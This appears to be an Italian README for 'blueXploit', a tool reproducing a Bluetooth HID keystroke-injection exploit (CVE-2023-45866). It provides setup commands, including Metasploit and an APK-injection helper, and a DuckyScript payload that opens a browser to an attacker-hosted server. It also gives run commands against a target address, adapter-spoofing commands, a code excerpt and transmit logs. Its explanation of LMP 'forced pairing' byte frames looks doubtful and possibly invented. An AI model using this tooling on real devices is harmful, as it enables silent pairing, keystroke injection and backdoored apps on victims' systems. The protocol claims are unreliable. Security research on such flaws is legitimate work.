
Exploit basato su vulnerabilità critiche Bluetooth (CVE-2023-45866, CVE-2024-21306)

Attribuzione. La vulnerabilità e l'exploit originale sono opera di Marc Newlin (hi_my_name_is_keyboard) — non rivendico la scoperta. Questa repository è una riproduzione realizzata per comprendere e documentare il bug; su di essa, blueXploit aggiunge un esecutore di payload in stile DuckyScript, un meccanismo di riconnessione/retry e un helper opzionale per l'iniezione tramite APK Android. Tutto qui è solo a scopo educativo e di ricerca.
Queste vulnerabilità critiche (CVE-2023-45866, CVE-2024-21306) consentono a un attaccante di iniettare sequenze di tasti e accettare richieste di pairing senza conferma da parte dell'utente. Ciò compromette gravemente la sicurezza di numerosi sistemi operativi.
Basato sull'exploit originale di Marc Newlin.
Installazione delle dipendenze
# aggiorna apt
sudo apt-get update
sudo apt-get -y upgrade
# installa le dipendenze da apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# installa pybluez dal sorgente
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# compila bdaddr dal sorgente bluez
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
blueXploit include strumenti per sfruttare le vulnerabilità sui dispositivi Android, offrendo due componenti principali e un programma aggiuntivo chiamato apkpwn_injector, situato nella cartella injector.
.apk esistenti nella cartella apk_clean.Queste funzionalità consentono un flusso d'attacco efficiente e semplificato in ambienti controllati o per test di penetrazione.

cd injector
python3 apkpwn_injector.py
I comandi chiave eseguiti da blueXploit vengono caricati dalla cartella /injector/payloads/ in formato .txt, con una sintassi semplice e facile da capire.
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
Modifica l'indirizzo IP con l'indirizzo in cui è ospitato il server.
Rilevamento ed enumerazione dei dispositivi
bluetoothctl
Scansione dei dispositivi Bluetooth
scan on
Esegui
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
Quindi seleziona il payload richiesto, precedentemente configurato.
La demo completa è in questo video
Questa vulnerabilità viene sfruttata a basso livello nel protocollo Bluetooth, manipolando principalmente il profilo HID e il protocollo L2CAP per iniettare sequenze di tasti in un dispositivo vittima.
Lo stack Bluetooth include diversi livelli, come il Link Manager Protocol (LMP), l'Host Controller Interface (HCI) e L2CAP. Questo attacco usa principalmente gli ultimi due:
HCI: la configurazione dell'adattatore viene manipolata per presentarsi come un dispositivo HID legittimo.
L2CAP: responsabile del multiplexing dei dati tra i dispositivi, L2CAP usa il canale 17 (HID Control) e il canale 19 (HID Interrupt) per la comunicazione HID, che possono essere sfruttati per inviare sequenze di tasti.
CVE-2023-45866 è una vulnerabilità nel Link Manager Protocol (LMP), sfruttata tramite un attacco di "pairing forzato". Ecco tecnicamente come viene eseguita:
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
In questo frame di dati:
0x01: richiesta di pairing LMP0x01: richiesta di autenticazione LMP (PIN)0x00 0x00 0x00 0x00: informazioni PIN deboli, di solito 0000Qui l'exploit sfrutta la mancata configurazione e autenticazione di questo pacchetto, che finisce per restituire:
LMP Accept: 0x02 0x00 0x00 0x00 0x00
In questo frame di dati:
0x02: richiesta di pairing LMP ACCETTATA0x00 0x00 0x00 0x00: informazioni PIN malformate restituiteSe la chiave non viene validata correttamente, la connessione viene stabilita ma senza un vero pairing, quindi è possibile inviare un pacchetto LMP di pairing forzato in questo modo:
LMP Forced Pairing: 0x03 0x01 0x0000
L'autenticazione può quindi essere forzata usando chiavi precedentemente compromesse (come "0000") e stabilendo un canale di comunicazione cifrato, accoppiando i dispositivi senza passare da un processo di verifica appropriato.
Questo crea un pairing all'insaputa dell'utente, e persino senza alcuna finestra o notifica di pairing.
Il difetto di questa CVE è che alcuni dispositivi non validano correttamente le richieste di autenticazione LMP, o finiscono per riutilizzare vecchie chiavi.
Quindi, una volta accoppiati al dispositivo — bang! — il resto è facile: in blueXploit.py l'adattatore e il dispositivo agiscono e spacciano dati di identificazione. In questo caso, vengono eseguiti comandi come questi:
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540 # HID class (keyboard)
Codice di blueXploit
# configure name and class
log.status("Configuring interface: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 unspecified, 0x25 HID device, 0x40 keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) # gets name
[?] Attempting to send letter: a
[.] Attempting to send... (<Key_Codes._1: 30>,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully
Spiegazione del frame di byte HID:
:a10100001e000000000000
a1: specifica il tipo di report HID01: specifica l'uso dell'interfaccia HID per i dati in ingresso00: pressione o rilascio del tasto00 1e 00 00 00 00: il valore esadecimale, dove 1e corrisponde alla lettera aViene quindi ricevuto un ACK per confermare che la trasmissione sia stata ricevuta correttamente.
Avvertenza: Questo materiale e le tecniche descritte in questa repository sono strettamente a scopo educativo e di ricerca. Gli strumenti di penetrazione e sfruttamento devono essere usati solo su sistemi per i quali si dispone di esplicita autorizzazione a testare. L'uso non autorizzato di queste tecniche su sistemi che non possiedi è vietato e illegale in molte giurisdizioni. Qualsiasi danno o impatto negativo causato da un uso improprio di questo contenuto è di esclusiva responsabilità dell'utente.
Si consiglia agli utenti di operare in ambienti controllati, come laboratori di test, e di rispettare tutte le leggi e normative locali relative alla sicurezza informatica e all'hacking etico. happy hacking :D